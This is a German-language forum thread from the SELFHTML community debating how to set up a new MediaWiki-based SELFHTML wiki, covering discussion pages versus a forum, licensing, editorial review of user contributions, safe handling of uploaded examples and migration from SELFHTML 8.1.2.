            Auch hier "hinkst" du der Diskussion imo hinterher. Genau_das_(was du jetzt kritisierst) hat doch in die längste Sackgasse aller Zeiten geführt.

            Diskussions-Seiten nur dann, wenn es _wesentlich_ bessere Lösungen als die von Wikipedia verwendete gibt.
            Nun warte es doch erstmal ab, bevor du schon wieder im Vorfeld die vorhandenen (ohne große Selbst-Strickerei) Möglichkeiten als "unzumutbar" abtust.

            Wenn nach _Meinungen_ gefragt wird, bekommt man auch Meinungen. Ich sehe keinen Sinn darin, alles nur schönzureden. Die Frage lautete A (Forum) oder B (Diskussionsseiten) Ich habe A gesagt (was du "netterweise" weggeschnitten hast) und erklärt, daß für mich B _in einer ganz spezifischen Form_ (siehe weiter unten) keine Alternative sein kann, und daß ich diese Erkenntnis aus den Erfahrungen mit WP-Diskussionen gewonnen  habe (was du "netterweise" ebenfalls weggeschnitten hast) Du stellst durch dieses Mißquoting meinen Satz in einen ganz anderen Kontext. Soll es etwa auch nur annähernd sinnvoll sein, daß sich der Autor selbst um Einrückung und Verkettung der Beiträge kümmern muß? Die WP-Diskussionen sind -mit Verlaub- komplett chaotisch, man blickt irgendwann nicht mehr durch, wer da gerade auf wen antwortet, wer wo etwas neues hinzugeschrieben hat und so weiter. Das muß man sich alles mühsam durch die Versionen erarbeiten. Ich halte das weiterhin für unzumutbar.

            Natürlich habe ich bewusst bestimmte Teile deiner Ausführungen weggelassen, weil es im Endeffekt aber zumindest bei mir genau so rüberkam. Du kritisierst, bzw. lehnst die erstmal vorhandene(n) Möglichkeit(en) im Script ab,_ohne_eine wirkliche Alternative vorzuschlagen. Oder glaubst du, dass dieser Thread hier für einen "Neueinsteiger" noch irgend etwas mit "geordnet" oder "übersichtlich" zu tun hat?
            Und wie du schon selber ausgeführt hast, hat die "Lesbarkeit/ Übersichtlichkeit" solcher Diskussionen eben viel damit zu tun, dass sich jeder der Beteiligten halt auch etwas Mühe gibt, für eine entsprechende Form zu sorgen. Aber auch das ist dir ja schon wieder zuviel Aufwand:

            Soll es etwa auch nur annähernd sinnvoll sein, daß sich der Autor selbst um Einrückung und Verkettung der Beiträge kümmern muß?

            Dann schreib' doch eine entsprechende Extension und wir haben alle etwas davon.

            Ich halte für SelfHTML ein völlig offenes Wikisystem schon aus qualitativen Gründen für nicht angebracht.
            Ich dachte, diese leidliche Diskussion hätten wir nun endgültig hinter uns gelassen!?

            Wiederum: kritische Gedanken sind unerwünscht? Hauptsache erst mal "machen"? Unsinniges wird durch Ausblenden sinnvoller Alternativen nicht sinnvoller. Ich lese schon lange genug im Forum mit, um zu erkennen, daß hier oft von Laien und Anfängern/Hobbyautoren "Lösungen" für Probleme gegeben werden, die zwar irgendwie <del>funktionieren</del> <ins>den gewünschen Effekt bringen</ins>, aber keineswegs sinnvoll sind. Auch hier muß ich die Wikipedia als Negativ-Beispiel anführen, wo teilweise Texte von Fachautoren durch Halbwissen ersetzt werden. Soll SelfHTML die Fehler, die bereits in der Wikipedia gemacht wurden, hier alle erneut machen? Edit-Wars, wenn jemand unbedingt seine Meinung durchdrücken will, Sperrungen, Unsicherheit unter den Nutzer, was denn nun richtig ist usw.? Warum nicht aus diesen Fehler lernen und sie von vornherein vermeiden?

            Ich wiederhole mich: Genau dieser Ansatz hat doch in die längste Sackgasse ...!

            Auch wenn das nur Einzelfälle sein mögen: Derjenige, der solcherlei Informationen abruft, _wird_ in diesem speziellen Fall falsch informiert (und verbreitet diese falsche Information ggf. weiter). Das kann m.E. nicht der Sinn einer Fachdokumentation wie SelfHTML sein und würde den Wert einer solchen Dokumentation auch stark herabsetzen.

            Wer hindert dich daran, dich als "Qualitätsprüfer/ -garant" zu betätigen?
            Deine Aussagen basieren imo auf "Unterstellungen/ Vorhersagen", die zwar durchaus eintreffen können, aber nicht zwingend müssen. Und das wird man erst daruch feststellen, indem man es überhaupt erstmal versucht.
            Denn ob die "Qualität" einer völlig überalterten/ überholten und somit auch mehr als unvollständigen Dokumentation besser ist, wage ich dann mal stark zu bezweifeln.

            Jeder soll zwar schreiben können, aber veröffentlicht sollte _jeglicher Inhalt_ erst nach Überprüfung durch eine Redaktion. Das gälte dann auch für Beispiele: Einlieferung als Quelltext, manuelle Freigabe nach Überprüfung.
            Womit das System "Wiki" wieder konterkariert würde, und somit auch eine (mögliche) Beteiligung der User.

            Sehe ich anders. Wer ein Mitwirken ausschließt, nur weil sein Text nicht sofort und "as is" übernommen wird, hat ein schweres Ego-Problem.

            Wenn es aber letztlich das ist, was Leute zum Mitmachen bewegt - so what?

            Ansonsten: siehe oben.

            Genau. Siehe meine Antwort an Ekki.

            Gruß Gunther

            1. [latex]Mae  govannen![/latex]

              Genau. Aktionismus ist in. Nur ja nicht _vorher_ mal über potentielle und tatsächliche Probleme nachdenken. Lieber mit Schwung die nächste Sackgasse ansteuern.
              Auch hier "hinkst" du der Diskussion imo hinterher. Genau_das_(was du jetzt kritisierst) hat doch in die längste Sackgasse aller Zeiten geführt.

              Keineswegs. Es gibt zwischen der bisherigen, völlig geschlossenen Lösung und der hier propagierten komplett offenen Struktur durchaus noch Zwischenstufen.

              Du kritisierst, bzw. lehnst die erstmal vorhandene(n) Möglichkeit(en) im Script ab,_ohne_eine wirkliche Alternative vorzuschlagen.

              Warum sollte ich? Ich bevorzuge schließlich die Foren-Lösung. Das Suchen nach alternativer Software für Diskussionsseiten innerhalb des Wiki die überlasse ich denen, die sich mit der Software auskennen. Und das ist auch erst Thema, wenn diese Variante wirklich hier bevorzugt werden sollte.
              Um es einfach auszudrücken: Ich muß nicht in der Lagen sein, selber eine Mauer hochziehen zu können, um zu erkennen, daß eine vorhandene Mauer schief und instabil ist. Ich sage dann einem Fachmann, daß er die Mauer begradigen und stabilisieren soll, und der kümmert sich um die einzelnen notwendigen Aspekte. Und ich muß auch noch keine Farbe anrühren, bevor die Mauer überhaupt fertiggestellt ist.

              Oder glaubst du, dass dieser Thread hier für einen "Neueinsteiger" noch irgend etwas mit "geordnet" oder "übersichtlich" zu tun hat?

              Warum nicht? Dieser Thread ist zwar durchaus schon komplexer, aber doch klar strukturiert. Man erkennt, wer sich auf wen bezieht; kann die einzelnen Aspekte in einem Beitrag jederzeit im Auge behalten; wenn während des Lesens neue Beiträge hinzukommen, sieht man das sofort. Alles Dinge, die ich zumindest bei der Mediawiki-Lösung der WP nicht auf Anhieb sehe.

              Und wie du schon selber ausgeführt hast, hat die "Lesbarkeit/ Übersichtlichkeit" solcher Diskussionen eben viel damit zu tun, dass sich jeder der Beteiligten halt auch etwas Mühe gibt, für eine entsprechende Form zu sorgen. Aber auch das ist dir ja schon wieder zuviel Aufwand:

              Soll es etwa auch nur annähernd sinnvoll sein, daß sich der Autor selbst um Einrückung und Verkettung der Beiträge kümmern muß?

              Ich erwarte von einer Software, daß sie das für mich übernimmt. Ich als Nutzer will lediglich auswählen, auf welchen Beitrag ich antworte, die Verkettung und damit einhergehende entsprechende Einrückung ist interne Technik. Wenn ich also auf einen Beitrag der dritten Ebene antworte, hat die Software meine Antwort gefälligst vollautomatisch in die vierte Ebene zu bringen, das ist _nicht_ meine Aufgabe als Autor.
              Waschmaschine auf, Wäsche rein, Programm wählen, waschen, Wäsche raus. Was da intern abläuft und wie oft die Trommel in welche Richtung dreht, interessiert mich absolut nicht.

              Dann schreib' doch eine entsprechende Extension und wir haben alle etwas davon.

              Warum sollte ich? Genau das meinte ich mit dem überstürzten Aktionismus: Es soll sofort eine Extension geschrieben werden, bevor überhaupt in Ruhe geklärt ist, was diesbezüglich bereits existiert. Ich kenne das leider (nicht nur) aus meinem früheren Berufsleben: Ein Kollege von mir legte immer sofort los, während ich mich erst mal hingestellt und überlegt habe. Ergebnis: Mein Chef oder ich bekamen zwar hin und wieder mal Beschwerden, daß ich nicht sofort in Aktion getreten bin, aber die Arbeit des Kollegen mußte sehr oft nachgebessert werden, meine Arbeit sehr selten.

              Wiederum: kritische Gedanken sind unerwünscht? Hauptsache erst mal "machen"? Unsinniges wird durch Ausblenden sinnvoller Alternativen nicht sinnvoller. Ich lese schon lange genug im Forum mit, um zu erkennen, daß hier oft von Laien und Anfängern/Hobbyautoren "Lösungen" für Probleme gegeben werden, die zwar irgendwie <del>funktionieren</del> <ins>den gewünschen Effekt bringen</ins>, aber keineswegs sinnvoll sind. Auch hier muß ich die Wikipedia als Negativ-Beispiel anführen, wo teilweise Texte von Fachautoren durch Halbwissen ersetzt werden. Soll SelfHTML die Fehler, die bereits in der Wikipedia gemacht wurden, hier alle erneut machen? Edit-Wars, wenn jemand unbedingt seine Meinung durchdrücken will, Sperrungen, Unsicherheit unter den Nutzer, was denn nun richtig ist usw.? Warum nicht aus diesen Fehler lernen und sie von vornherein vermeiden?
              Ich wiederhole mich: Genau dieser Ansatz hat doch in die längste Sackgasse ...!

              Beispiel? SelfHTML kannst du ja nicht meinen, da wurde nie wirklich nach außen getragen, daß jeder Texte schreiben darf. Dazu mußte man sich schon sehr intensiv mit dem Projekt beschäftigen.

              Auch wenn das nur Einzelfälle sein mögen: Derjenige, der solcherlei Informationen abruft, _wird_ in diesem speziellen Fall falsch informiert (und verbreitet diese falsche Information ggf. weiter). Das kann m.E. nicht der Sinn einer Fachdokumentation wie SelfHTML sein und würde den Wert einer solchen Dokumentation auch stark herabsetzen.
              Wer hindert dich daran, dich als "Qualitätsprüfer/ -garant" zu betätigen?

              Niemand. Aber wenn jemand, der Unsinn geschrieben hat, meine diesbezüglichen Korrekturen jederzeit wieder durch seinen Unsinn ersetzen kann, artet das entweder in einen Edit-War mit Sperrung aus oder der Qualitätsprüfer gibt irgendwann auf und der Unsinn bleibt stehen.

              Deine Aussagen basieren imo auf "Unterstellungen/ Vorhersagen", die zwar durchaus eintreffen können, aber nicht zwingend müssen. Und das wird man erst daruch feststellen, indem man es überhaupt erstmal versucht.

              Und wenn man dann damit auf die Schnauze fliegt, haben viele wertvolle Autoren bereits das Boot verlassen, siehe Wikipedia, wo sich sehr viele Autoren der frühen Jahre entnervt abgewandt haben (siehe auch das Fachautoren-Argument aus meinem letzten Beitrag).

              Cü,

              Kai

              --
              Even if you are a master of jQuery, you can only create mediocre (at best)
              scripts. The problem is that the authors you rely on have not mastered the
              DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
              Foren-Stylesheet Site Selfzeug JS-Lookup
              SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
      2. Eindeutig Forenlösung. Diskussions-Seiten nur dann, wenn es _wesentlich_ bessere Lösungen als die von Wikipedia verwendete gibt. Ich habe im Zuge der WP-Relevanzdebatten dort recht viele Löschdiskussionen mitgelesen und finde die dortige Lösung einfach unlesbar und unzumutbar.Das mag für angemeldete Nutzer vielleicht anders sein, keine Ahnung.

        Nein, das ist für angemeldete Nutzer auch nicht einfacher - das Problem ist, dass die meisten Wikipedia-Leute keine Ahnung davon haben, wie man einen Thread richtig einrückt :)

        Wenn man die Einrückung ordentlich beachtet (so wie auch hier im Forum beim Zitieren), ist es auch wunderbar lesbar :)

      3. Hallo Kai345,

        • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

        Eindeutig Forenlösung. Diskussions-Seiten nur dann, wenn es _wesentlich_ bessere Lösungen als die von Wikipedia verwendete gibt. Ich habe im Zuge der WP-Relevanzdebatten dort recht viele Löschdiskussionen mitgelesen und finde die dortige Lösung einfach unlesbar und unzumutbar.Das mag für angemeldete Nutzer vielleicht anders sein, keine Ahnung.

        Es wurde vorgeschlagen, dieses Forum zu nutzen und ein eigenes Thema "SELFHTML-Wiki" einzuführen. Für Diskussionen um Lemmata wäre eine in MediaWiki integrierte Lösung besser. Die Diskussionsseiten dort sind nicht sicher nicht optimal, aber fürs Erste ausreichend. Längerfristig sollte hier aber sicher eine andere Lösung her.

        Ich halte für SelfHTML ein völlig offenes Wikisystem schon aus qualitativen Gründen für nicht angebracht. Jeder soll zwar schreiben können, aber veröffentlicht sollte _jeglicher Inhalt_ erst nach Überprüfung durch eine Redaktion. Das gälte dann auch für Beispiele: Einlieferung als Quelltext, manuelle Freigabe nach Überprüfung.

        Genau für diesen Ansatz musste SELFHTML ziemlich viel Kritik einstecken. Von daher ist es unwahrscheinlich, dass wir beim Wiki dahin zurückfallen.

        • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?
        • freier Kaffee für alle.

        Gute Idee - aber leider gibt das die Kasse nicht her. ;-)
        Ich wäre eher für Club Mate...

        • für Programmiersprachen wie z.B. Javascript: Schnellübersicht über die Funktionsparameter und deren Bedeutung, damit man nicht immer den gesamten Fließtext lesen muß, wen man z.B. kurz die Parameter-Reihenfolge nachsehen möchte:

        Verwendung:
           parseInt(str, radix)
        Parameter:
          str    Die in eine Zahl umzuwandelnde Zeichenkette
          radix  Basis des verwendeten Zahlensystems
        Rückgabe:
          eine Zahl oder NaN, wenn Umwandlung nicht möglich

        <hier bisheriger ausführlicher Text>

        Sieht gut aus! Ich glaube sogar, dass in dieser Hinsicht schon etwas für SELFHTML 9 angedacht war.

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        1. [latex]Mae  govannen![/latex]

          Ich halte für SelfHTML ein völlig offenes Wikisystem schon aus qualitativen Gründen für nicht angebracht. Jeder soll zwar schreiben können, aber veröffentlicht sollte _jeglicher Inhalt_ erst nach Überprüfung durch eine Redaktion. Das gälte dann auch für Beispiele: Einlieferung als Quelltext, manuelle Freigabe nach Überprüfung.

          Genau für diesen Ansatz musste SELFHTML ziemlich viel Kritik einstecken.

          Sehe ich nicht so. Man kann "SelfHTML" sicherlich einiges vorwerfen, z.B. fehlende/unzureichende Kommunikation nach Außen (dazu gehört auch die Suchaufgabe, sich erst einmal bis zum Redaktions-Bereich durchzuwühlen) und zu hohe Anforderungen, was das Mitmachen betrifft, aber da bisher keine Lösung existiert hat, in der "Jeder" direkt schreiben konnte _und_ auch nie so richtig nach außen gedrungen ist, _daß_ man Autoren möchte, sehe ich die jetzige Situation als bisher noch nicht aufgetreten an und daher kann eigentlich noch keine diesbezügliche Kritik aufgekommen sein.

          Weiterhin sehe ich die Probleme in der Außenwirkung ähnlich, wie es in Wikipedia bereits der Fall ist: Man kann WP nie etwas unbesehen glauben und muß grundsätzlich noch an anderen Stellen recherchieren, um die Quelle WP zu stützen. Ich fände es außerordentlich schade, wenn der allgemeine Tenor statt "SelfHTML ist total veraltet" einfach nur zu "SelfHTML ist nur bedingt glaubwürdig" wechseln würde. Zumal die Themenvielfalt im Gegensatz zur WP bei SelfHTML trotz des sicherlich nicht geringen Umfangs doch klar Umrissen bleibt, eine "Redaktionelle" Überprüfung also durchaus machbar wäre.

          Von daher ist es unwahrscheinlich, dass wir beim Wiki dahin zurückfallen.

          Sehr schade.

          • freier Kaffee für alle.

          Gute Idee - aber leider gibt das die Kasse nicht her. ;-)

          für _alle_ heißt doch, daß niemand eine Kasse benötigt ;)

          Cü,

          Kai

          --
          Even if you are a master of jQuery, you can only create mediocre (at best)
          scripts. The problem is that the authors you rely on have not mastered the
          DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
          Foren-Stylesheet Site Selfzeug JS-Lookup
          SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
          1. Hallo,

            Man kann "SelfHTML" sicherlich einiges vorwerfen, z.B. fehlende/unzureichende Kommunikation nach Außen (dazu gehört auch die Suchaufgabe, sich erst einmal bis zum Redaktions-Bereich durchzuwühlen)

            ja, und dann die Tatsache, dass auch der öffentlich zugängliche Bereich per HTTPS ausgeliefert wird, was bei mir unwillkürlich die Reaktion "Huch, 'tschuldigung, ich wollte nicht schnüffeln" auslöst. HTTPS suggeriert immer einen eingeschränkten Nutzerkreis, wo "Laufkundschaft" nichts verloren hat.

            Ich fände es außerordentlich schade, wenn der allgemeine Tenor statt "SelfHTML ist total veraltet" einfach nur zu "SelfHTML ist nur bedingt glaubwürdig" wechseln würde.

            Full ACK. Deswegen bin ich auch unbedingt für eine Überprüfung und Freigabe neuer Inhalte durch jemanden, der das nötige Wissen hat, den Artikel zu beurteilen.
            Der frisch eingegebene oder geänderte Artikel (ohne "aktiven" Code) kann ja trotzdem sofort online erscheinen, aber eben mit einem Vermerk wie "unter Vorbehalt". Das Konzept der Wikipedia finde ich da gar nicht übel.

            Ciao,
             Martin

            --
            Most experts agree: Any feature of a program that you can't turn off if you want to, is a bug.
            Except with Microsoft, where it is just the other way round.
            1. [latex]Mae  govannen![/latex]

              Man kann "SelfHTML" sicherlich einiges vorwerfen, z.B. fehlende/unzureichende Kommunikation nach Außen (dazu gehört auch die Suchaufgabe, sich erst einmal bis zum Redaktions-Bereich durchzuwühlen)

              ja, und dann die Tatsache, dass auch der öffentlich zugängliche Bereich per HTTPS ausgeliefert wird, was bei mir unwillkürlich die Reaktion "Huch, 'tschuldigung, ich wollte nicht schnüffeln" auslöst. HTTPS suggeriert immer einen eingeschränkten Nutzerkreis, wo "Laufkundschaft" nichts verloren hat.

              Einerseits das und dann war auch noch längere Zeit ein Problem mit dem Zertifikat, so daß der Browser beim Betreten des Bereiches erst mal einen dicken Warnhinweis gab. Üblicherweise ein Grund, die Seite schnell wieder zuzumachen.

              Ich fände es außerordentlich schade, wenn der allgemeine Tenor statt "SelfHTML ist total veraltet" einfach nur zu "SelfHTML ist nur bedingt glaubwürdig" wechseln würde.

              Full ACK. Deswegen bin ich auch unbedingt für eine Überprüfung und Freigabe neuer Inhalte durch jemanden, der das nötige Wissen hat, den Artikel zu beurteilen.
              Der frisch eingegebene oder geänderte Artikel (ohne "aktiven" Code) kann ja trotzdem sofort online erscheinen, aber eben mit einem Vermerk wie "unter Vorbehalt".

              Lösung, die für mich sinnvoll wäre: Wenn man eine Seite aufruft, erscheint die letzte überprüfte Version, Änderungen sind möglich, erscheinen aber vorerst nur in einem abgegrenzten Bereich. Gibt es auch in der WP.

              Cü,

              Kai

              --
              Even if you are a master of jQuery, you can only create mediocre (at best)
              scripts. The problem is that the authors you rely on have not mastered the
              DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
              Foren-Stylesheet Site Selfzeug JS-Lookup
              SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
    5. Erst mal Danke, dass Ihr die Diskussion positiv nutzt.
      Ich bin gespannt.

      • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

      Zwei Fragen:
      Wer ist denn  der Autor des Corpus, das via WIKI erstellt wird?
      Ich kann mir hier nur einen Autor vorstellen: die Self-Community.

      Vielleicht sollte man im WIKI auch bestimmte Richtlinien erstellen, so dass man stärker mit Fussnoten Quellen referenziert, gerade zum Beispiel, wenn diese Quellen ausserhalb des Self-Raums liegen. oder etwa Fachartikel zu Rate ziehen.

      • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

      Was spricht eigentlich dagegen, dass das Classic-Forum hier einen neuen Themenbereich für das WIKI erhält, und die Diskussion hier stattfindet?

      Wenn Lösung im Classicforum: Wiki-Artikel oder sogar bestimmte Editionsschritte sollten referenzierbar sein.

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Ich verstehe das WIKI zuerst als eine Art Entwickler-Thread. Es wäre sicher optimal, wenn man auf einer Kopie von 8.1.2 starten könnte.
      Anderseits würde man sich ja von 8.1.2 als DER VORLAGE (inhaltlich strukturell) verabschieden.

      • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben.

      Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze?

      Wie wäre es, wenn man die Beispiele loslöst, und in ein eigenes Directory steckt. Viele Beispiele sind sehr minimalistisch und zweckgebunden. Sollten Diese Beispiele auch durch die Community direkt via WIKI editiert werden können?
      Vielleicht brauchen wir eine Queue, wo man als WIKI-Autor den Bedarf nach Beispielen anmelden kann. Autorisierte Personen würden sich dann dem annehmen, oder durch ein bereits bestehendes Beispiel antworten.

      Die Beispiele müssen zwar nicht ab sofort verfügbar sein, sind aber für später ziemlich wichtig.

      • Vorschläge für Mediawiki-Extensions, die wir installieren sollten?

      Ich bin nicht WIKI bewandert, fände es deshalb gut, wenn die API im Sinne der grösst möglichen Konsistenz entwickeln würde, und zwar besser, als im Classic-Forum.
      Für mich wäre es wichtig, wenn ich diese API von jeder WIKI Seite in einem anderen Tab erkunden kann.
      Es wäre gut, wenn Vorschläge für die API eingereicht werden könnten, und dann diese Neuerungen möglichst effizient kommuniziert würden.

      • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

      Der Hunger kommt mit dem Essen.

      mfg Beat

      --
      ><o(((°>           ><o(((°>
         <°)))o><                     ><o(((°>o
      Der Valigator leibt diese Fische
      1. Hallo Beat,

        • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

        Zwei Fragen:
        Wer ist denn  der Autor des Corpus, das via WIKI erstellt wird?
        Ich kann mir hier nur einen Autor vorstellen: die Self-Community.

        Wie definierst du da die Self-Community? Wenn jeder im Wiki Einträge editieren kann, ist er somit automatisch Mitglied der Self-Community? Und wenn nicht: Wer entscheidet das?

        Vielleicht sollte man im WIKI auch bestimmte Richtlinien erstellen, so dass man stärker mit Fussnoten Quellen referenziert, gerade zum Beispiel, wenn diese Quellen ausserhalb des Self-Raums liegen. oder etwa Fachartikel zu Rate ziehen.

        Hier sind wir derzeit am Überlegen. Ich denke aber, dass es etwas Zeit brauchen wird diese Richtlinien aufzustellen. Da ist es vielleicht erst mal besser das Wiki online zu stellen, damit man schon mal was machen kann.

        • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

        Was spricht eigentlich dagegen, dass das Classic-Forum hier einen neuen Themenbereich für das WIKI erhält, und die Diskussion hier stattfindet?

        Gar nichts. Wurde bereits mehrfach vorgeschlagen und wird gemacht.

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

        Ich verstehe das WIKI zuerst als eine Art Entwickler-Thread. Es wäre sicher optimal, wenn man auf einer Kopie von 8.1.2 starten könnte.
        Anderseits würde man sich ja von 8.1.2 als DER VORLAGE (inhaltlich strukturell) verabschieden.

        Wir haben uns bereits von 8.1.2 als der Vorlage verabschiedet. Die Frage ist natürlich, ob ein Kopieren von 8.1.2 ins Wiki Erfolg verspricht. IMHO eher nicht. Außerdem kann man jederzeit 8.1.2 nehmen und selbstständig die Inhalte ins Wiki kopieren, sofern man das möchte. Ich denke das sollte jeder Mitwirkende für sich entscheiden, aber man sollte niemanden zwingen die alte Vorlage zu verwenden.

        Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze?

        Wie wäre es, wenn man die Beispiele loslöst, und in ein eigenes Directory steckt. Viele Beispiele sind sehr minimalistisch und zweckgebunden. Sollten Diese Beispiele auch durch die Community direkt via WIKI editiert werden können?

        Ich denke nicht dass eine Wiki-Syntax hier irgendjemandem etwas bringt. Eine einfache Lösung (FTP-Upload, Sichtung durch autorisierte Nutzer, Freigabe) wäre mir hier sehr recht.

        Ich bin nicht WIKI bewandert, fände es deshalb gut, wenn die API im Sinne der grösst möglichen Konsistenz entwickeln würde, und zwar besser, als im Classic-Forum.
        Für mich wäre es wichtig, wenn ich diese API von jeder WIKI Seite in einem anderen Tab erkunden kann.
        Es wäre gut, wenn Vorschläge für die API eingereicht werden könnten, und dann diese Neuerungen möglichst effizient kommuniziert würden.

        Das verstehe ich nicht. Meinst du damit die Wiki-Syntax?

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        1. Ich bin nicht WIKI bewandert, fände es deshalb gut, wenn die API im Sinne der grösst möglichen Konsistenz entwickeln würde, und zwar besser, als im Classic-Forum.
          Für mich wäre es wichtig, wenn ich diese API von jeder WIKI Seite in einem anderen Tab erkunden kann.
          Es wäre gut, wenn Vorschläge für die API eingereicht werden könnten, und dann diese Neuerungen möglichst effizient kommuniziert würden.

          Das verstehe ich nicht. Meinst du damit die Wiki-Syntax?

          Ja ich meine unte anderem die WIKI-Syntax, aber nicht ausschliesslich, denn es könnten noch andere Tools hinzukommen.
          Soviel ich bisher vernommen habe, ist die Media-Wiki Syntax ein ziemlich rabiater Wildwuchs. Meiner Meinung nach sollte man den Besten Prinzipien darin folgen, und für die schlechten bestandteile Alternativen mit der Zeit bereitstellen, so dass sich etwas wie eine eigene konsistente Sprache entwickelt.

          mfg Beat

          --
          ><o(((°>           ><o(((°>
             <°)))o><                     ><o(((°>o
          Der Valigator leibt diese Fische
    6. Hallo Marc,

      zuerst mal freue ich mich, dass ihr zügig entscheidet und voller Tatendrang seid. Das hat zuletzt gefehlt, und ich hoffe, dass die neue Plattform allgemein für einen neuen Aufschwung und für Motivation sorgen wird.

      Nach langem Überlegen erschien uns die Mediawiki-Software die vorerst beste Wahl zu sein, weil:

      • sie oft verwendet wird (→ stärkere Community)
      • sie frei ist
      • die Mediawiki-Syntax durch Wikipedia u.ä. bereits einer großen Masse bekannt ist
      • zahlreiche Erweiterungen verfügbar sind.

      Ich habe selber schon mal MediaWiki installiert und mich mit einigen Extensions beschäftigt. Es gibt in der Tat vieles, was die Plattform letztlich sehr anpassbar macht. Allerdings ist es da so ein wenig wie beim Firefox: zu viele Extensions, und plötzlich lahmt die Software, es häufen sich unerklärliche Verhaltensweisen usw. Naja, die Kellermeister wollen ja auch was zu tun haben :-)

      Der größte Vorteil von MediaWiki ist auf jeden Fall, dass viele User schon mit der Syntax vertraut sind, da sie die gleiche Plattform von Wikipedia oder vielleicht auch vom Intranet-Wiki der Firma her kennen.

      Einen Nachteil sehe ich allerdings darin, dass MediaWiki letztlich für die Belange von Wikipedia entwickelt wurde und weiterentwickelt wird, und dass es deshalb einseitig für dokumentartige Strukturen optimiert ist. Aber wie auch immer, ich bin auf jeden Fall gespannt auf den erste Preview!

      • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

      Die finde ich grundsätzlich in Ordnung. Es wird aber wahrscheinlich noch ein paar zusätzliche Vereinbarungen für Autoren geben müssen.

      • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

      Die Diskussionsseiten von MediaWiki sind ein einfaches, in den meisten Fällen ausreichendes Werkzeug, um sich redaktionell über Inhalte zugehöriger Seiten auszutauschen. Aber ein Diskussionsforum wie dieses hier ist damit nicht abbildbar.
      Es gab auch mal eine Thread-Forum-Extension für MediaWiki (weiß nicht, obs die noch gibt, und ob sie weiterentwickelt wurde), aber natürlich nicht vergleichbar mit den Features hier.
      Eine große Herausforderung an die Entwickler hier wäre es natürlich, selber mal eine Thread-Forum-Extension zu schreiben.

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Ich würde die Chance des Umstiegs nutzen, um auch die Doku anders und neu zu strukturieren. Das wird ohnehin nötig sein, denn wer sich mal etwas mit HTML5 beschäftigt, wird bald einsehen, dass es, wenn man das im Rahmen von SELFHTML ordentlich beschreiben will, nicht damit getan ist, hier und da eine Seite für ein neues Element oder Attribut zu spendieren. HTML5 stellt fast alles auf den Kopf. Das fängt bei der Strukturierung von Dokumenten mit sectioning-Content an, und geht über die zahlreichen neuen Script-APIs, die man kaum sinnvoll isoliert, also ohne JavaScript, beschreiben kann, und endet bei völlig neuen Ausrichtungen (weg von der "validierbaren Instanz eines generalisierten Markups" und hin zu einem Programmier-DOM im Markup-Gewand, freiere Elementverschachtelungen, Mischen von XHTML und HTML-Syntax usw.).

